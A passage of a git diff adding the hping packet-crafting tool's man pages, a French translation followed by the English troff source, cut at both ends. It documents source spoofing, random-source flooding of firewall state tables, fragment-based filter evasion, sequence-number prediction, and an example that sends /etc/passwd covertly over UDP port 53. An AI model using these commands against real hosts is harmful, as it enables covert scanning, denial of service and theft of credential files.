scan n'est toujours pas optimal, mais déjà assez + rapide. + Conseil : à la différence de la plupart des scan­ + neurs, hping montre quelques informations + intéressantes à propos des paquets reçus, les + champs IP ID, TCP win, TTL, et ainsi de suite, + n'oubliez pas de regarder ces informations addi­ + tionnelles quand vous effectuez un scan! Quelques + fois elles montrent des détails intéressants. + + -9 --listen signature + Mode d'écoute de HPING2, en utilisant cette option + hping2 attend les paquets qui contiennent signature + et exporte de la fin de la signature à la fin du + paquet. Par exemple si hping2 --listen TEST lit un + paquet qui contient 234-09sdflkjs45-TESThello_world + il affichera hello_world. + +OPTIONS IP + -a --spoof hostname + Utiliser cette option dans le but de fixer une + fausse adresse source, cette option assure que le + système cible n'obtiendra pas votre adresse réelle. + Quoi qu'il en soit les réponses seront envoyées à + l'adresse usurpée, ainsi vous ne serez pas capable + de les voir. Afin de voir comment il est possible + d'effectuer des scans avec des adresses + usurpées/passifs voir le fichier HPING2-HOWTO. + + --rand-source + Cette option active le mode source aléatoire. + hping enverra des paquets avec des adresses sources + aléatoires. Il est intéressant d'utiliser cette + option pour stresser les tables d'étât d'un fire­ + wall, et d'autres tables dynamiques basées sur les + IP dans les piles TCP/IP et les firewall logiciels. + + --rand-dest + Cette option active le mode destination aléatoire. + hping enverra des paquets à des adresses aléatoires + obtenues en suivant la règle que vous avez + spécifiée comme système cible. Vous avez besoin de + spécifier une adresse IP numérique en tant que + système cible comme 10.0.0.x. Toutes les occur­ + rences de x seront remplacées avec un nombre + aléatoire dans l'intervalle 0-255. Ainsi pour + obtenir des adresses IP internet dans l'espace IPv4 + complet utilisez quelque chose comme hping x.x.x.x + --rand-dest. Si vous n'êtes pas sûrs du genre + d'adresses que votre règle génère essayez + d'utiliser l'option --debug pour afficher chaque + nouvelle adresse destination générée. + Attention : quand cette option est activée hping ne + peut pas détecter la bonne interface de sortie pour + les paquets, ainsi vous devez utiliser l'option + --interface pour sélectionner l'interface de sor­ + tie. + + -t --ttl time to live + En utilisant cette option vous pouvez fixer le TTL + (time to live) des paquets sortant, il est vraisem­ + blable que vous utiliserez ceci avec les options + --traceroute ou --bind Dans le doute essayez + `hping2 some.host.com -t 1 --traceroute'. + + -N --id + Fixe le champ ip->id . La valeur du champ id par + défaut est aléatoire mais si la fragmentation est + activée et que le champ id n'est pas spécifié alors + il sera égal à getpid() & 0xFF, mettre en oeuvre + une meilleure solution est dans la liste TODO (ndt + : à faire). + + -H --ipproto + Fixe le protocole IP dans le mode RAW IP. + + -W --winid + Le champ id des systèmes Windows* avant Win2k ont + un byte ordering (ndt : ordre des octets) + différent, si cette option est activée hping2 + affichera proprement les champs id des réponses de + ces Windows. + + -r --rel + Affiche les incréments du champ id au lieu du champ + id. Voir le fichier HPING2-HOWTO pour plus d'infor­ + mations. Les incréments ne sont pas calculés comme + id[N]-id[N-1] mais en utilisant une compensation de + pertes de paquets. Voir le fichier relid.c pour + plus d'informations. + + -f --frag + Découpe les paquets en fragments, ceci peut être + utile afin de tester les performances de la frag­ + mentation des piles IP et de tester si certains + filtres de paquets sont si faibles qu'ils peuvent + être passés en utilisant de petits fragments + (anachronique). Par défaut le 'mtu virtuel' (ndt : + taille des fragments) est de 16 octets. Voir égale­ + ment l'option --mtu. + + -x --morefrag + Fixe le drapeau IP "more fragments" (ndt : d'autres + fragments), utilisez cette option si vous voulez + que le système cible envoie un paquet ICMP time- + exceeded during reassembly (ndt : délai dépassé + durant le ré-assemblage). + + -y --dontfrag + Fixe le drapeau IP "don't fragment" (ndt : ne pas + fragmenter), ceci peut être utilisé pour effectuer + un MTU path discovery (ndt : découverte de la + valeur minimale de la "taille maximale des paquets" + sur le chemin). + + -g --fragoff fragment offset value + Fixe l'offset du fragment. + + -m --mtu mtu value + Fixe un 'mtu virtuel' différent de 16 quand la + fragmentation est activée. Si la taille des paquets + est supérieure au 'mtu virtuel' alors la fragmenta­ + tion est automatiquement activée. + + -o --tos hex_tos + Fixe Type Of Service (TOS) (ndt : le type de ser­ + vice), pour plus d'informations essayez --tos help. + + -G --rroute + Enregistrer la route. Inclut l'option RECORD_ROUTE + dans chaque paquet envoyé et affiche la route + présente dans le tampon du paquet retourné. Notez + que l'entête IP n'est suffisamment large que pour + neuf routes. Beaucoup de systèmes ignorent ou sup­ + priment cette option. Notez également qu'en util­ + isant hping vous êtes capable d'utiliser l'enreg­ + istrement de la route même si le système cible fil­ + tre ICMP. Enregistrer la route est une option IP, + non pas une option ICMP, ainsi vous pouvez utiliser + l'option d'enregistrement de la route même dans les + modes TCP et UDP. + +OPTIONS ICMP + -C --icmptype type + Fixe le type ICMP, le défaut est ICMP echo request. + + -K --icmpcode code + Fixe le code ICMP, le défaut est 0 (implique + --icmp). + + --icmp-ipver + Fixe la version IP de l'entête IP contenue dans les + données ICMP, le défaut est 4. + + --icmp-iphlen + Fixe la longueur de l'entête IP contenue dans les + données ICMP, le défaut est 5 (5 mots de 32 bits). + + --icmp-iplen + Fixe la longueur du paquet IP de l'entête IP con­ + tenue dans les données ICMP, le défaut est la + taille réelle. + + --icmp-ipid + Fixe le champ IP id de l'entête IP contenue dans + les données ICMP, le défaut est aléatoire. + + --icmp-ipproto + Fixe le protocole IP de l'entête IP contenue dans + les données ICMP, le défaut est TCP. + + --icmp-cksum + Fixe la somme de contrôle ICMP, le défaut est la + somme de contrôle valide. + + --icmp-ts + Alias pour --icmptype 13 (pour envoyer des requêtes + ICMP timestamp). + + --icmp-addr + Alias pour --icmptype 17 (pour envoyer des requêtes + ICMP masque réseau). + +OPTIONS TCP/UDP + -s --baseport source port + hping2 utilise le port source afin de deviner les + numéros de séquence des réponses. Il commence avec + un numéro de port source de base, et incrémente ce + numéro pour chaque paquet envoyé. Quand un paquet + est reçu alors le numéro de séquence peut être cal­ + culé comme port.source.réponse - + port.source.de.base. Le port source de base par + défaut est aléatoire, en utilisant cette option + vous êtes capable de fixer un numéro différent. Si + vous avez besoin que le port source ne soit pas + incrémenté pour chaque paquet envoyé utilisez + l'option -k --keep. + + -p --destport [+][+]dest port + Fixe le port destination, le défaut est 0. Si le + caractère '+' précède le numéro de port destination + (i.e. +1024) le port destination sera incrémenté + pour chaque paquet reçu. Si deux '+' précèdent le + numéro de port destination (i.e. ++1024), le port + destination sera incrémenté pour chaque paquet + envoyé. Par défaut le port destination peut être + modifié interactivement en utilisant CTRL+z. + + --keep Garde constant le port source, voir --baseport pour + plus d'informations. + + -w --win + Fixe la taille de la fenêtre TCP. Le défaut est 64. + + -O --tcpoff + Fixe un faux offset (ndt : décalage) des données + TCP. L'offset normal des données est tcphdrlen / 4. + + -M --tcpseq + Fixe le numéro de séquence TCP. + + -L --tcpack + Fixe le drapeau TCP ack. + + -Q --seqnum + Cette option peut être utilisée afin de collecter + les numéros de séquence générés par le système + cible. Ceci peut être utile quand vous avez besoin + d'analyser si les numéros de séquence TCP sont + prévisibles. Exemple de sortie : + + #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 + HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes + 2361294848 +2361294848 + 2411626496 +50331648 + 2545844224 +134217728 + 2713616384 +167772160 + 2881388544 +167772160 + 3049160704 +167772160 + 3216932864 +167772160 + 3384705024 +167772160 + 3552477184 +167772160 + 3720249344 +167772160 + 3888021504 +167772160 + 4055793664 +167772160 + 4223565824 +167772160 + + La première colonne reporte les numéros de + séquence, la seconde la différence entre le numéro + de séquence courant et le dernier. Comme vous pou­ + vez le voir les numéros de séquence du système + cible sont prévisibles. + + -b --badcksum + Envoie des paquets avec une mauvaise somme de + contrôle UDP/TCP + + --tcp-timestamp + Active l'option TCP timestamp, et essaye de deviner + la fréquence de mise à jour du timestamp et + l'uptime du système distant. + + -F --fin + Fixe le drapeau TCP FIN. + + -S --syn + Fixe le drapeau TCP SYN. + + -R --rst + Fixe le drapeau TCP RST. + + -P --push + Fixe le drapeau TCP PUSH. + + -A --ack + Fixe le drapeau TCP ACK. + + -U --urg + Fixe le drapeau TCP URG. + + -X --xmas + Fixe le drapeau TCP Xmas. + + -Y --ymas + Fixe le drapeau TCP Ymas. + +OPTIONS COMMUNES + -d --data data size + Fixe la taille du corps du paquet. Attention, en + utilisant --data 40 hping2 ne générera pas des + paquets de 0 octet mais de entête_de_protocole+40 + octets. hping2 affichera en information la taille + des paquets comme première ligne de sortie, comme + ceci : HPING www.yahoo.com (ppp0 204.71.200.67): NO + FLAGS are set, 40 headers + 40 data bytes + + -E --file filename + Utilise le contenu du fichier filename pour rem­ + plir les données du paquet. + + -e --sign signature + Remplit d'abord longueur de signature octets de + données avec signature. Si longueur de signature + est plus grand que la taille des données alors un + message d'erreur sera affiché. Si vous ne + spécifiez pas la taille des données hping utilisera + la taille de la signature comme taille des données. + Cette option peut être utilisée sans risque avec + l'option --file filename, l'espace de données + restant sera rempli en utilisant le fichier file­ + name. + + -j --dump + Affiche les paquets en hexadécimal. + + -J --print + Affiche les caractères imprimables des paquets + reçus. + + -B --safe + Active le protocole safe, en utilisant cette option + les paquets perdus dans un transfert de fichier + seront renvoyés. Par exemple afin d'envoyer le + fichier /etc/passwd depuis le système A au système + B vous pouvez utiliser ce qui suit : + [host_a] + # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd + [host_b] + # hping2 host_a --listen signature --safe --icmp + + -u --end + Si vous utilisez l'option --file filename, cela + vous dit quand la fin du fichier a été atteinte. + D'ailleurs cela prévient que l'autre côté accepte + plus de paquets. S'il vous plaît, pour plus + d'informations voir le fichier HPING2-HOWTO. + + -T --traceroute + Mode traceroute. En utilisant cette option hping2 + incrémentera le ttl pour chaque paquet ICMP time to + live 0 during transit reçu. Essayez hping2 host + --traceroute. Cette option implique --bind et + --ttl 1. Vous pouvez l'emporter sur le ttl à 1 en + utilisant l'option --ttl. Depuis 2.0.0 stable il + affiche les informations de RTT. --tr-keep-ttl + garde le ttl fixe en mode traceroute, ainsi vous + pouvez contrôler simplement un noeud sur la route. + Par exemple, pour contrôler comment le 5ème noeud + change ou comment son RTT change vous pouvez + essayer hping2 host --traceroute --ttl 5 --tr-keep- + ttl. + + --tr-stop + Si cette option est spécifiée hping quittera dès + que le premier paquet qui n'est pas un ICMP time + exceeded est reçu. Ceci émule mieux le comportement + de traceroute. + + --tr-no-rtt + Ne montre pas l'information RTT en mode traceroute. + L'information du RTT des ICMP time exceeded n'est + même pas calculée si cette option est positionnée. + + --tcpexitcode + Quitte avec le champ tcp->th_flag du dernier paquet + reçu comme code de retour. Utile pour les scripts + qui ont besoin, par exemple, de savoir si le port + 999 de quelque système répond avec SYN/ACK ou avec + RST en réponse à un SYN, i.e. le service est lancé + ou arrêté. + +FORMAT DE SORTIE TCP + Le format standard de sortie TCP est le suivant : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 + rtt=0.4 ms + + len est la taille, en octets, des données capturées dans + la couche liaison de données en excluant la taille de + l'entête de liaison de données. Ceci peut ne pas corre­ + spondre à la taille du datagramme IP à cause du rembour­ + rage bas niveau de la couche liaison de données. + + ip est l'adresse ip source. + + flags sont les drapeaux TCP, R pour RESET, S pour SYN, A + pour ACK, F pour FIN, P pour PUSH, U pour URGENT, X pour + 0x40 non standard, Y pour 0x80 non standard. + + Si la réponse contient DF l'entête IP possède le bit don't + fragment (ndt : ne pas fragmenter) positionné. + + seq est le numéro de séquence du paquet, obtenu en util­ + isant le port source pour les paquets TCP/UDP, le champ + séquence pour les paquets ICMP. + + id est le champ IP ID. + + win est la taille de la fenêtre TCP + + rtt est le "round trip time" (ndt : temps aller-retour) en + millisecondes. + + Si vous exécutez hping en utilisant l'option -V de la + ligne de commande il affichera des informations supplémen­ + taires à propos du paquet, par exemple : + + len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 + rtt=0.4 ms tos=0 iplen=40 seq=0 ack=1223672061 sum=e61d + urp=0 + + tos est le champ type de service de l'entête IP. + + iplen est le champ IP longueur totale. + + seq et ack sont les numéros de séquence et d'acquittement + sur 32 bits dans l'entête TCP. + + sum est la valeur de la somme de contrôle de l'entête TCP. + + urp est la valeur du pointeur urgent TCP. + +FORMAT DE SORTIE UDP + Le format standard de sortie est : + + len=46 ip=192.168.1.1 seq=0 ttl=64 id=0 rtt=6.0 ms + + La signification des champs est la même que celle de la + sortie TCP pour les champs de même nom. + +FORMAT DE SORTIE ICMP + Un exemple de sortie ICMP est : + + ICMP Port Unreachable from ip=192.168.1.1 name=nano.mar­ + moc.net + + Il est très facile à comprendre. Il commence avec la + chaîne "ICMP" suivie par la description de l'erreur ICMP, + dans l'exemple Port Unreachable (ndt : port non accessi­ + ble). Le champ ip est l'adresse IP source du datagramme IP + contenant l'erreur ICMP, le champ name est simplement + l'adresse numérique résolue en un nom (une requête dns + PTR) ou UNKNOWN si la résolution a échoué. + + Le format ICMP de Time exceeded during ou de reassembly + est un peu différent : + + TTL 0 during transit from ip=192.168.1.1 name=nano.mar­ + moc.net + + TTL 0 during reassembly from ip=192.70.106.25 name=UNKNOWN + + La seule différence est la description de l'erreur, elle + commence avec TTL 0. + +AUTEUR + Salvatore Sanfilippo , avec l'aide des + personnes mentionnées dans le fichier AUTHORS et sur + http://www.hping.org/authors.html + +BOGUES + Même en utilisant les options --end et --safe pour + transférer des fichiers, le paquet final sera rembourré + avec des octets 0x00. + + Les données sont lues sans tenir compte de l'alignement, + mais l'alignement est imposé dans les structures de + données. Ceci ne sera pas un problème sous i386 mais, + alors que normalement les entêtes TCP/IP sont naturelle­ + ment alignées, cela peut créer des problèmes avec divers + processeurs et des paquets mal-formés si il y a des accès + non alignés quelque part dans le code (aucun avec un peu + de chance). + + Sur Solaris hping ne fonctionne pas sur l'interface loop­ + back. Ceci semble être un problème solaris, comme exposé + dans la liste de diffusion tcpdump-workers, ainsi la libp­ + cap ne peut rien faire pour la supporter correctement. + +VOIR AUSSI + ping(8), traceroute(8), ifconfig(8), nmap(1) + +TRADUCTEUR + Denis Ducamp + + 2001 Aug 14 HPING2(8) diff --git a/docs/hping2.8 b/docs/hping2.8 new file mode 100644 index 0000000..1576496 --- /dev/null +++ b/docs/hping2.8 @@ -0,0 +1,738 @@ +.TH HPING2 8 "2001 Aug 14" +.SH NAME +hping6 \- send (almost) arbitrary TCP/IP packets to network hosts +.SH SYNOPSIS +.B hping6 +[ +.B \-hvnqVDzZ012WrfxykQbFSRPAUXYjJBuTG6 +] [ +.B \-c +.I count +] [ +.B \-i +.I wait +] [ +.B \-\-fast +] [ +.B \-I +.I interface +] [ +.B \--lhs +.I bytes +] [ +.B \-9 +.I signature +] [ +.B \-a +.I host +] [ +.B \-t +.I ttl +] [ +.B \-N +.I ip id +] [ +.B \-H +.I ip protocol +] [ +.B \-g +.I fragoff +] [ +.B \-m +.I mtu +] [ +.B \-o +.I tos +] [ +.B \-C +.I icmp type +] [ +.B \-K +.I icmp code +] [ +.B \-s +.I source port +] [ +.B \-p[+][+] +.I dest port +] [ +.B \-w +.I tcp window +] [ +.B \-O +.I tcp offset +] [ +.B \-M +.I tcp sequence number +] [ +.B \-L +.I tcp ack +] [ +.B \-d +.I data size +] [ +.B \-E +.I filename +] [ +.B \-e +.I signature +] [ +.B \-\-icmp\-ipver +.I version +] [ +.B \-\-icmp\-iphlen +.I length +] [ +.B \-\-icmp\-iplen +.I length +] [ +.B \-\-icmp\-ipid +.I id +] [ +.B \-\-icmp\-ipproto +.I protocol +] [ +.B \-\-icmp\-cksum +.I checksum +] [ +.B \-\-icmp\-ts +] [ +.B \-\-icmp\-addr +] [ +.B \-\-tcpexitcode +] [ +.B \-\-tcp-timestamp +] [ +.B \-\-tr-stop +] [ +.B \-\-tr-keep-ttl +] [ +.B \-\-tr-no-rtt +] [ +.B \-\-rand-dest +] [ +.B \-\-rand-source +] [ +.B \-\-bps +.I bitrate +] [ +.B \-\-pps +.I packetrate +] +hostname +.br +.ad +.SH DESCRIPTION +hping2 is a network tool able to send custom TCP/IP packets and to +display target replies like ping program does with ICMP replies. hping2 +handle fragmentation, arbitrary packets body and size and can be used in +order to transfer files encapsulated under supported protocols. Using +hping2 you are able to perform at least the following stuff: + + - Test firewall rules + - Advanced port scanning + - Test net performance using different protocols, + packet size, TOS (type of service) and fragmentation. + - Path MTU discovery + - Transferring files between even really fascist firewall + rules. + - Traceroute-like under different protocols. + - Firewalk-like usage. + - Remote OS fingerprinting. + - TCP/IP stack auditing. + - A lot of others. + +.IR "It's also a good didactic tool to learn TCP/IP" . +hping2 is developed and maintained by antirez@invece.org and is +licensed under GPL version 2. Development is open so you can send +me patches, suggestion and affronts without inhibitions. +.SH HPING SITE +primary site at +.BR http://www.hping.org . +You can found both the stable release and the instruction +to download the latest source code at http://www.hping.org/download.html +.SH BASE OPTIONS +.TP +.I -h --help +Show an help screen on standard output, so you can pipe to less. +.TP +.I -v --version +Show version information and API used to access to data link layer, +.I linux sock packet +or +.IR libpcap. +.TP +.I -c --count count +Stop after sending (and receiving) +.I count +response packets. After last packet was send hping2 wait COUNTREACHED_TIMEOUT +seconds target host replies. You are able to tune COUNTREACHED_TIMEOUT editing +hping2.h +.TP +.I -i --interval +Wait +the specified number of seconds or micro seconds between sending each packet. +--interval X set +.I wait +to X seconds, --interval uX set +.I wait +to X micro seconds. +The default is to wait +one second between each packet. Using hping2 to transfer files tune this +option is really important in order to increase transfer rate. Even using +hping2 to perform idle/spoofing scanning you should tune this option, see +.B HPING2-HOWTO +for more information. +.TP +.I --fast +Alias for -i u10000. Hping will send 10 packets for second. +.TP +.I --faster +Alias for -i u1. Faster than --fast ;) (but not as fast as your computer can send packets due to the signal-driven design). +.TP +.I --bps bitrate +Send bitrate bits per second, no response packet checking. +.TP +.I --pps packetrate +Send packetrate packets per second, no response packet checking. +.TP +.I -n --numeric +Numeric output only, No attempt will be made to lookup symbolic names for host addresses. +.TP +.I -q --quiet +Quiet output. Nothing is displayed except the summary lines at +startup time and when finished. +.TP +.I -I --interface interface name +By default on linux and BSD systems hping2 uses default routing interface. +In other systems or when there is no default route +hping2 uses the first non-loopback interface. +However you are able to force hping2 to use the interface you need using +this option. Note: you don't need to specify the whole name, for +example -I et will match eth0 ethernet0 myet1 et cetera. If no interfaces +match hping2 will try to use lo. +.TP +.I --lhs bytes +Override the automatically detected link header size. +.TP +.I -V --verbose +Enable verbose output. TCP replies will be shown as follows: + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms +tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0 +.TP +.I -D --debug +Enable debug mode, it's useful when you experience some problem with +hping2. When debug mode is enabled you will get more information about +.B interface detection, data link layer access, interface settings, options +.B parsing, fragmentation, HCMP protocol +and other stuff. +.TP +.I -z --bind +Bind CTRL+Z to +.B time to live (TTL) +so you will able to increment/decrement ttl of outgoing packets pressing +CTRL+Z once or twice. +.TP +.I -Z --unbind +Unbind CTRL+Z so you will able to stop hping2. +.SH PROTOCOL SELECTION +Default protocol is TCP, by default hping2 will send tcp headers to target +host's port 0 with a winsize of 64 without any tcp flag on. Often this +is the best way to do an 'hide ping', useful when target is behind +a firewall that drop ICMP. Moreover a tcp null-flag to port 0 has a good +probability of not being logged. +.TP +.I -0 --rawip +RAW IP mode, in this mode hping2 will send IP header with data +appended with --signature and/or --file, see also --ipproto that +allows you to set the ip protocol field. +.TP +.I -1 --icmp +ICMP mode, by default hping2 will send ICMP echo-request, you can set +other ICMP type/code using +.B --icmptype --icmpcode +options. +.TP +.I -2 --udp +UDP mode, by default hping2 will send udp to target host's port 0. +UDP header tunable options are the following: +.B --baseport, --destport, --keep. +.TP +.I -6 --ipv6 +IPv6 mode. +.TP +.I -8 --scan +Scan mode, the option expects an argument that describes groups of +ports to scan. port groups are comma separated: a number describes +just a single port, so 1,2,3 means port 1, 2 and 3. ranges are specified +using a start-end notation, like 1-1000, that tell hping to scan ports between 1 and 1000 (included). the special word +.B all +is an alias for 0-65535, while the special word +.B known +includes all the ports listed in /etc/services. +.br +Groups can be combined, so the following command line will +scan ports between 1 and 1000 AND port 8888 AND ports listed in /etc/services: +.B hping --scan 1-1000,8888,known -S target.host.com +.br +Groups can be negated (subtracted) using a ! character as prefix, +so the following command line will scan all the ports NOT listed +in /etc/services in the range 1-1024: +.B hping --scan '1-1024,!known' -S target.host.com +.br +Keep in mind that while hping seems much more like a port scanner in +this mode, most of the hping switches are still honored, so for example to +perform a SYN scan you need to specify the +.B -S +option, you can change the TCP windows size, TTL, control the +IP fragmentation as usually, and so on. The only real difference is that +the standard hping behaviors are encapsulated into a scanning +algorithm. +.br +.BR "Tech note" : +The scan mode uses a two-processes design, with shared memory for synchronization. The scanning algorithm is still not optimal, but already quite fast. +.br +.BR Hint : +unlike most scanners, hping shows some interesting info about received +packets, the IP ID, TCP win, TTL, and so on, don't forget to look +at this additional information when you perform a scan! Sometimes they +shows interesting details. +.TP +.I -9 --listen signature +HPING2 listen mode, using this option hping2 waits for packet that contain +.I signature +and dump from +.I signature +end to packet's end. For example if hping2 --listen TEST reads a packet +that contain +.B 234-09sdflkjs45-TESThello_world +it will display +.BR hello_world . +.SH IP RELATED OPTIONS +.TP +.I -a --spoof hostname +Use this option in order to set a fake IP source address, this option +ensures that target will not gain your real address. However replies +will be sent to spoofed address, so you will can't see them. In order +to see how it's possible to perform spoofed/idle scanning see the +.BR HPING2-HOWTO . +.TP +.I --rand-source +This option enables the +.BR "random source mode" . +hping will send packets with random source address. It is interesting +to use this option to stress firewall state tables, and other +per-ip basis dynamic tables inside the TCP/IP stacks and firewall +software. +.TP +.I --rand-dest +This option enables the +.BR "random destination mode" . +hping will send the packets to random addresses obtained following +the rule you specify as the target host. You need to specify +a numerical IP address as target host like +.BR 10.0.0.x . +All the occurrences of +.B x +will be replaced with a random number in the range 0-255. So to obtain +Internet IP addresses in the whole IPv4 space use something like +.BR "hping x.x.x.x --rand-dest" . +If you are not sure about what kind of addresses your rule is generating +try to use the +.B --debug +switch to display every new destination address generated. +When this option is turned on, matching packets will be accept from all +the destinations. +.br +.BR Warning : +when this option is enabled hping can't detect the right outgoing +interface for the packets, so you should use the +.B --interface +option to select the desired outgoing interface. +.TP +.I -t --ttl time to live +Using this option you can set +.B TTL (time to live) +of outgoing packets, it's likely that you will use this with +.B --traceroute +or +.B --bind +options. If in doubt try +.BR "" "`" "hping2 some.host.com -t 1 --traceroute" "'." +.TP +.I -N --id +Set ip->id field. Default id is random but if fragmentation is turned on +and id isn't specified it will be +.BR "getpid() & 0xFF" , +to implement a better solution is in TODO list. +.TP +.I -H --ipproto +Set the ip protocol in RAW IP mode. +.TP +.I -W --winid +id from Windows* systems before Win2k has different byte ordering, if this +option is enable +hping2 will properly display id replies from those Windows. +.TP +.I -r --rel +Display id increments instead of id. See the +.B HPING2-HOWTO +for more information. Increments aren't computed as id[N]-id[N-1] but +using packet loss compensation. See relid.c for more information. +.TP +.I -f --frag +Split packets in more fragments, this may be useful in order to test +IP stacks fragmentation performance and to test if some +packet filter is so weak that can be passed using tiny fragments +(anachronistic). Default 'virtual mtu' is 16 bytes. see also +.I --mtu +option. +.TP +.I -x --morefrag +Set more fragments IP flag, use this option if you want that target +host send an +.BR "ICMP time-exceeded during reassembly" . +.TP +.I -y --dontfrag +Set don't fragment IP flag, this can be used to perform +.BR "MTU path discovery" . +.TP +.I -g --fragoff fragment offset value +Set the fragment offset. +.TP +.I -m --mtu mtu value +Set different 'virtual mtu' than 16 when fragmentation is enabled. If +packets size is greater that 'virtual mtu' fragmentation is automatically +turned on. +.TP +.I -o --tos hex_tos +Set +.BR "Type Of Service (TOS)" , +for more information try +.BR "--tos help" . +.TP +.I -G --rroute +Record route. Includes the RECORD_ROUTE option in each packet sent and +displays the route buffer of returned packets. Note that the IP header +is only large enough for nine such routes. Many hosts ignore or discard +this option. Also note that using hping you are able to use record route +even if target host filter ICMP. Record route is an IP option, not +an ICMP option, so you can use record route option even in TCP and UDP +mode. +.SH ICMP RELATED OPTIONS +.TP +.I -C --icmptype type +Set icmp type, default is +.B ICMP echo request +(implies --icmp). +.TP +.I -K --icmpcode code +Set icmp code, default is 0 (implies --icmp). +.TP +.I --icmp-ipver +Set IP version of IP header contained into ICMP data, default is 4. +.TP +.I --icmp-iphlen +Set IP header length of IP header contained into ICMP data, default is 5 (5 words of 32 bits). +.TP +.I --icmp-iplen +Set IP packet length of IP header contained into ICMP data, default is the real +length. +.TP +.I --icmp-ipid +Set IP id of IP header contained into ICMP data, default is random. +.TP +.I --icmp-ipproto +Set IP protocol of IP header contained into ICMP data, default is TCP. +.TP +.I --icmp-cksum +Set ICMP checksum, for default is the valid checksum. +.TP +.I --icmp-ts +Alias for --icmptype 13 (to send ICMP timestamp requests). +.TP +.I --icmp-addr +Alias for --icmptype 17 (to send ICMP address mask requests). +.SH TCP/UDP RELATED OPTIONS +.TP +.I -s --baseport source port +hping2 uses source port in order to guess replies sequence number. It +starts with a base source port number, and increase this number for each +packet sent. When packet is received sequence number can be computed as +.IR "replies.dest.port - base.source.port" . +Default base source port is random, using this option you are able to +set different number. If you need that source port not be increased for +each sent packet use the +.I -k --keep +option. +.TP +.I -p --destport [+][+]dest port +Set destination port, default is 0. If '+' character precedes dest port +number (i.e. +1024) destination port will be increased for each reply +received. If double '+' precedes dest port number (i.e. ++1024), destination +port will be increased for each packet sent. +By default destination port can be modified interactively using +.BR CTRL+z . +.TP +.I --keep +keep still source port, see +.I --baseport +for more information. +.TP +.I -w --win +Set TCP window size. Default is 64. +.TP +.I -O --tcpoff +Set fake tcp data offset. Normal data offset is tcphdrlen / 4. +.TP +.I -M --setseq +Set the TCP sequence number. +.TP +.I -L --setack +Set the TCP ack. +.TP +.I -Q --seqnum +This option can be used in order to collect sequence numbers generated +by target host. This can be useful when you need to analyze whether +TCP sequence number is predictable. Output example: + +.B #hping2 win98 --seqnum -p 139 -S -i u1 -I eth0 +.nf +HPING uaz (eth0 192.168.4.41): S set, 40 headers + 0 data bytes +2361294848 +2361294848 +2411626496 +50331648 +2545844224 +134217728 +2713616384 +167772160 +2881388544 +167772160 +3049160704 +167772160 +3216932864 +167772160 +3384705024 +167772160 +3552477184 +167772160 +3720249344 +167772160 +3888021504 +167772160 +4055793664 +167772160 +4223565824 +167772160 +.fi + +The first column reports the sequence number, the second difference +between current and last sequence number. As you can see target host's sequence +numbers are predictable. +.TP +.I -b --badcksum +Send packets with a bad UDP/TCP checksum. +.TP +.I --tcp-timestamp +Enable the TCP timestamp option, and try to guess the timestamp update +frequency and the remote system uptime. +.TP +.I -F --fin +Set FIN tcp flag. +.TP +.I -S --syn +Set SYN tcp flag. +.TP +.I -R --rst +Set RST tcp flag. +.TP +.I -P --push +Set PUSH tcp flag. +.TP +.I -A --ack +Set ACK tcp flag. +.TP +.I -U --urg +Set URG tcp flag. +.TP +.I -X --xmas +Set Xmas tcp flag. +.TP +.I -Y --ymas +Set Ymas tcp flag. +.SH COMMON OPTIONS +.TP +.I -d --data data size +Set packet body size. Warning, using --data 40 hping2 will not generate +0 byte packets but protocol_header+40 bytes. hping2 will display +packet size information as first line output, like this: +.B HPING www.yahoo.com (ppp0 204.71.200.67): NO FLAGS are set, 40 headers + 40 data bytes +.TP +.I -E --file filename +Use +.B filename +contents to fill packet's data. +.TP +.I -e --sign signature +Fill first +.I signature length +bytes of data with +.IR signature . +If the +.I signature length +is bigger than data size an error message will be displayed. +If you don't specify the data size hping will use the signature +size as data size. +This option can be used safely with +.I --file filename +option, remainder data space will be filled using +.IR filename . +.TP +.I -j --dump +Dump received packets in hex. +.TP +.I -J --print +Dump received packets' printable characters. +.TP +.I -B --safe +Enable safe protocol, using this option lost packets in file transfers +will be resent. For example in order to send file /etc/passwd from host +A to host B you may use the following: +.nf +.I [host_a] +.B # hping2 host_b --udp -p 53 -d 100 --sign signature --safe --file /etc/passwd +.I [host_b] +.B # hping2 host_a --listen signature --safe --icmp +.fi +.TP +.I -u --end +If you are using +.I --file filename +option, tell you when EOF has been reached. Moreover prevent that other end +accept more packets. Please, for more information see the +.BR HPING2-HOWTO . +.TP +.I -T --traceroute +Traceroute mode. Using this option hping2 will increase ttl for each +.B ICMP time to live 0 during transit +received. Try +.BR "hping2 host --traceroute" . +This option implies --bind and --ttl 1. You can override the ttl of 1 +using the --ttl option. Since 2.0.0 stable it prints RTT information. +.TP +.I --tr-keep-ttl +Keep the TTL fixed in traceroute mode, so you can monitor just one hop +in the route. For example, to monitor how the 5th hop changes or +how its RTT changes you can try +.BR "hping2 host --traceroute --ttl 5 --tr-keep-ttl" . +.TP +.I --tr-stop +If this option is specified hping will exit once the first packet +that isn't an ICMP time exceeded is received. This better emulates +the traceroute behavior. +.TP +.I --tr-no-rtt +Don't show RTT information in traceroute mode. The ICMP time exceeded RTT +information aren't even calculated if this option is set. +.TP +.I --tcpexitcode +Exit with last received packet tcp->th_flag as exit code. Useful for scripts +that need, for example, to known if the port 999 of some host reply with +SYN/ACK or with RST in response to SYN, i.e. the service is up or down. +.SH TCP OUTPUT FORMAT +The standard TCP output format is the following: + +len=46 ip=192.168.1.1 flags=RA DF seq=0 ttl=255 id=0 win=0 rtt=0.4 ms + +.B len +is the size, in bytes, of the data captured from the data link layer +excluding the data link header size. This may not match the IP datagram +size due to low level transport layer padding. + +.B ip +is the source ip address. + +.B flags +are the TCP flags, R for RESET, S for SYN, A for ACK, F for FIN, +P for PUSH, U for URGENT, X for not standard 0x40, Y for not standard +0x80. + +If the reply contains +.B DF +the IP header has the don't fragment bit set. + +.B seq +is the sequence number of the packet, obtained using the source +port for TCP/UDP packets, the sequence field for ICMP packets. + +.B id +is the IP ID field. + +.B win +is the TCP window size. + +.B rtt +is the round trip time in milliseconds. + +If you run hping using the +.B -V +command line switch it will display additional information about the +packet, example: + 